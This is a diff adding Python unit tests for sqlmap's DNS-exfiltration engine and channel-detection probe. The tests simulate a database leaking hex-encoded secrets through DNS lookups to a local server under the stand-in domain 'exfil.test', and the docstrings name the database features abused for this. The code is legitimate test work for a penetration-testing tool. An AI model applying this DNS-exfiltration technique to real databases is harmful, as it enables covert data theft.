Adding some more pyunittests

tests/test_dns_engine.py

@@ -0,0 +1,272 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+
+The DNS-exfiltration extraction engine (lib/techniques/dns/use.py dnsUse) and the
+channel-detection probe (lib/techniques/dns/test.py dnsTest).
+
+DNS exfil is normally driven by a back-end DBMS that performs an actual DNS lookup
+of an attacker-controlled hostname (Oracle UTL_INADDR, MSSQL xp_dirtree, ...),
+encoding the queried data in the subdomain labels which then reach sqlmap's
+in-process DNS server. That DBMS behaviour cannot be reproduced locally without a
+real DNS-emitting engine, so here we drive the REAL dnsUse()/dnsTest() logic + the
+REAL DNSServer (on a high port, no root) and emulate ONLY that one step: a mock
+Request.queryPage plays the DBMS - it takes the per-iteration boundaries dnsUse
+generated and fires a genuine UDP DNS query for
+'prefix.<hex chunk of the secret>.suffix.domain' at the DNS server.
+
+So the chunking/offset/reassembly loop, the dns_request snippet rendering, the
+DNSServer packet parse, pop(prefix,suffix), regex extraction, hex decoding and the
+detection-then-disable logic are all exercised for real; if any of them regress
+these go red - without a live DBMS.
+
+NOTE on fidelity: secrets are kept ASCII so the mock's byte-slice chunking matches a
+DBMS character-substring exactly. Multi-byte (UTF-8) values, where DBMS SUBSTRING is
+character-based and a chunk could split a code point, need the real-DBMS run.
+"""
+
+import binascii
+import os
+import socket
+import struct
+import sys
+import threading
+import time
+import unittest
+
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+from _testutils import bootstrap, set_dbms
+bootstrap()
+
+from lib.core.agent import agent
+from lib.core.common import Backend
+from lib.core.data import conf, kb
+from lib.core.enums import DBMS
+from lib.core.exception import SqlmapNotVulnerableException
+from lib.core.settings import DNS_BOUNDARIES_ALPHABET
+from lib.core.settings import MAX_DNS_LABEL
+from lib.request.connect import Connect
+from lib.request.dns import DNSServer
+import lib.techniques.dns.use as dnsmod
+import lib.techniques.dns.test as dnstestmod
+
+DNS_PORT = 5355
+
+def _build_query(name, tid=b"\x12\x34"):
+    pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00"
+    for label in name.split("."):
+        if label:
+            pkt += struct.pack("B", len(label)) + label.encode()
+    return pkt + b"\x00" + b"\x00\x01" + b"\x00\x01"
+
+class _HighPortDNSServer(DNSServer):
+    # same logic as the real server (parse/pop/run), just bound high so no root is needed
+    def __init__(self, port):
+        self._requests = []
+        self._lock = threading.Lock()
+        self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self._socket.bind(("127.0.0.1", port))
+        self._running = False
+        self._initialized = False
+
+_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False}
+_KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False}
+
+
+class _DnsCase(unittest.TestCase):
+    DBMS_NAME = "MySQL"
+
+    @classmethod
+    def setUpClass(cls):
+        cls.server = _HighPortDNSServer(DNS_PORT)
+        cls.server.run()
+        while not cls.server._initialized:
+            time.sleep(0.02)
+
+    def setUp(self):
+        self._saved_conf = {k: conf.get(k) for k in _CONF}
+        self._saved_kb = {k: kb.get(k) for k in _KB}
+        self._saved_qp = Connect.queryPage
+        self._saved_randomStr = dnsmod.randomStr
+        self._saved_randomInt = dnstestmod.randomInt
+        self._saved_dnsServer = conf.get("dnsServer")
+        self._saved_hdbR, self._saved_hdbW = dnsmod.hashDBRetrieve, dnsmod.hashDBWrite
+        for k, v in _CONF.items():
+            conf[k] = v
+        for k, v in _KB.items():
+            kb[k] = v
+        conf.dnsServer = self.server
+        # isolate from the session hash DB (avoid cross-test value caching / uninitialized store)
+        dnsmod.hashDBRetrieve = lambda *a, **k: None
+        dnsmod.hashDBWrite = lambda *a, **k: None
+        # MSSQL/PostgreSQL build the payload via the stacked-query injection plumbing
+        # (agent.prefixQuery/agent.payload, needing a full kb.injection). That plumbing is
+        # generic - not DNS logic - and the mock oracle ignores the payload, so stub it to a
+        # pass-through; the DNS-specific snippet/substring/chunking still runs for real.
+        self._saved_prefixQuery, self._saved_payload = agent.prefixQuery, agent.payload
+        agent.prefixQuery = lambda expression, *a, **k: expression
+        agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: newValue or ""
+        set_dbms(self.DBMS_NAME)
+
+    def tearDown(self):
+        for k, v in self._saved_conf.items():
+            conf[k] = v
+        for k, v in self._saved_kb.items():
+            kb[k] = v
+        conf.dnsServer = self._saved_dnsServer
+        Connect.queryPage = self._saved_qp
+        dnsmod.Request.queryPage = self._saved_qp
+        dnsmod.randomStr = self._saved_randomStr
+        dnstestmod.randomInt = self._saved_randomInt
+        dnsmod.hashDBRetrieve, dnsmod.hashDBWrite = self._saved_hdbR, self._saved_hdbW
+        agent.prefixQuery, agent.payload = self._saved_prefixQuery, self._saved_payload
+
+    def _install_oracle(self, secret, working=True, force=None):
+        """
+        Installs a mock queryPage that plays the DBMS: for each dnsUse iteration it fires a
+        real UDP DNS query carrying the next hex chunk of L{secret}. working=False models a
+        dead DNS channel (the DBMS never emits a lookup). force=(prefix, suffix) pins the
+        random boundary labels (to construct adversarial cases like a domain/suffix collision).
+        """
+        secret_bytes = secret.encode("utf-8")
+        boundaries = []
+        served = [0]
+
+        real_randomStr = self._saved_randomStr
+        def spy_randomStr(length=4, alphabet=None, **kw):
+            if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3:
+                out = force[len(boundaries) % 2] if force else real_randomStr(length=length, alphabet=alphabet, **kw)
+                boundaries.append(out)
+                return out
+            return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw)
+        dnsmod.randomStr = spy_randomStr
+
+        dbms = Backend.getIdentifiedDbms()
+        chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2
+
+        def oracle(payload=None, *args, **kwargs):
+            if not working:
+                return None
+            prefix, suffix = boundaries[-2], boundaries[-1]
+            chunk = secret_bytes[served[0]:served[0] + chunk_length]
+            if chunk:
+                host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain)
+                c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+                c.settimeout(3)
+                c.sendto(_build_query(host), ("127.0.0.1", DNS_PORT))
+                try:
+                    c.recvfrom(512)
+                finally:
+                    c.close()
+                served[0] += len(chunk)
+                for _ in range(100):
+                    with self.server._lock:
+                        if any(host.encode() in r for r in self.server._requests):
+                            break
+                    time.sleep(0.01)
+            return None
+
+        Connect.queryPage = staticmethod(oracle)
+        dnsmod.Request.queryPage = staticmethod(oracle)
+
+    def _extract(self, secret):
+        self._install_oracle(secret)
+        return dnsmod.dnsUse("%s AND %d=%d", "user()")
+
+
+class TestDnsExfilEngine(_DnsCase):
+    DBMS_NAME = "MySQL"
+
+    def test_short_value(self):
+        self.assertEqual(self._extract("luther"), "luther")
+
+    def test_value_spanning_multiple_dns_labels(self):
+        # > one DNS label -> forces the chunking/offset/reassembly loop (multiple queries)
+        secret = "The quick brown fox jumps over the lazy dog 0123456789 abcdef"
+        self.assertEqual(self._extract(secret), secret)
+
+    def test_exact_chunk_boundary(self):
+        # length exactly one chunk: last-chunk break condition (len < chunk_length) edge
+        dbms = Backend.getIdentifiedDbms()
+        cl = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2
+        secret = "A" * cl
+        self.assertEqual(self._extract(secret), secret)
+
+    def test_special_characters(self):
+        secret = "p@ss W0rd!#%&"
+        self.assertEqual(self._extract(secret), secret)
+
+    def test_domain_label_colliding_with_suffix(self):
+        # adversarial: --dns-domain's leading label equals the random suffix. A greedy
+        # extraction regex would run past the real boundary into the domain and corrupt the
+        # value; the (lazy) extraction must still recover it exactly.
+        conf.dnsDomain = "hhh.exfil.test"          # leading label 'hhh' == forced suffix
+        self._install_oracle("luther", force=("ggg", "hhh"))
+        self.assertEqual(dnsmod.dnsUse("%s AND %d=%d", "user()"), "luther")
+
+
+class TestDnsExfilEngineOracle(TestDnsExfilEngine):
+    # Oracle: different dns_request snippet (UTL_INADDR.GET_HOST_ADDRESS, '||' concat) and
+    # SUBSTRC substring template - re-runs the whole battery through the Oracle dialect.
+    DBMS_NAME = "Oracle"
+
+
+class TestDnsExfilEnginePostgres(TestDnsExfilEngine):
+    # PostgreSQL: stacked-query branch (agent.payload), plpgsql COPY dns_request snippet,
+    # 'SUBSTRING((...)::text FROM x FOR y)' substring template.
+    DBMS_NAME = "PostgreSQL"
+
+
+class TestDnsExfilEngineMssql(TestDnsExfilEngine):
+    # MSSQL: stacked-query branch, xp_dirtree dns_request snippet, and crucially a SMALLER
+    # chunk_length (MAX_DNS_LABEL//4 - 2) - exercises the alternate chunking arithmetic.
+    DBMS_NAME = "Microsoft SQL Server"
+
+
+class TestDnsLabelInvariant(unittest.TestCase):
+    """The exfil chunk is hex-encoded into ONE DNS label, so 2*chunk_length must never exceed the
+    63-octet DNS label limit - otherwise the query carries an invalid (over-long) label and exfil
+    silently breaks. Guards the chunk_length arithmetic in dnsUse for every supported DBMS."""
+    def test_hex_label_within_max_dns_label(self):
+        for dbms in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL):
+            chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2
+            self.assertGreater(chunk_length, 0, "%s: non-positive chunk_length" % dbms)
+            self.assertLessEqual(2 * chunk_length, MAX_DNS_LABEL,
+                                 "%s: hex label (%d) exceeds MAX_DNS_LABEL (%d)" % (dbms, 2 * chunk_length, MAX_DNS_LABEL))
+
+
+class TestDnsChannelDetection(_DnsCase):
+    """dnsTest(): probes the channel with a known random integer and disables DNS exfil if
+    the value doesn't come back (unless --force-dns, which then aborts)."""
+    DBMS_NAME = "MySQL"
+    KNOWN = 4815162342
+
+    def _patch_known_int(self):
+        dnstestmod.randomInt = lambda *a, **k: self.KNOWN
+
+    def test_detection_success_keeps_channel(self):
+        self._patch_known_int()
+        self._install_oracle(str(self.KNOWN), working=True)
+        dnstestmod.dnsTest("%s AND %d=%d")
+        self.assertTrue(kb.dnsTest)
+        self.assertEqual(conf.dnsDomain, "exfil.test")   # channel kept
+
+    def test_detection_failure_disables_channel(self):
+        self._patch_known_int()
+        self._install_oracle(str(self.KNOWN), working=False)   # dead channel
+        dnstestmod.dnsTest("%s AND %d=%d")
+        self.assertFalse(kb.dnsTest)
+        self.assertIsNone(conf.dnsDomain)                 # exfil turned off
+
+    def test_detection_failure_with_force_dns_raises(self):
+        self._patch_known_int()
+        conf.forceDns = True
+        self._install_oracle(str(self.KNOWN), working=False)
+        self.assertRaises(SqlmapNotVulnerableException, dnstestmod.dnsTest, "%s AND %d=%d")
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=2)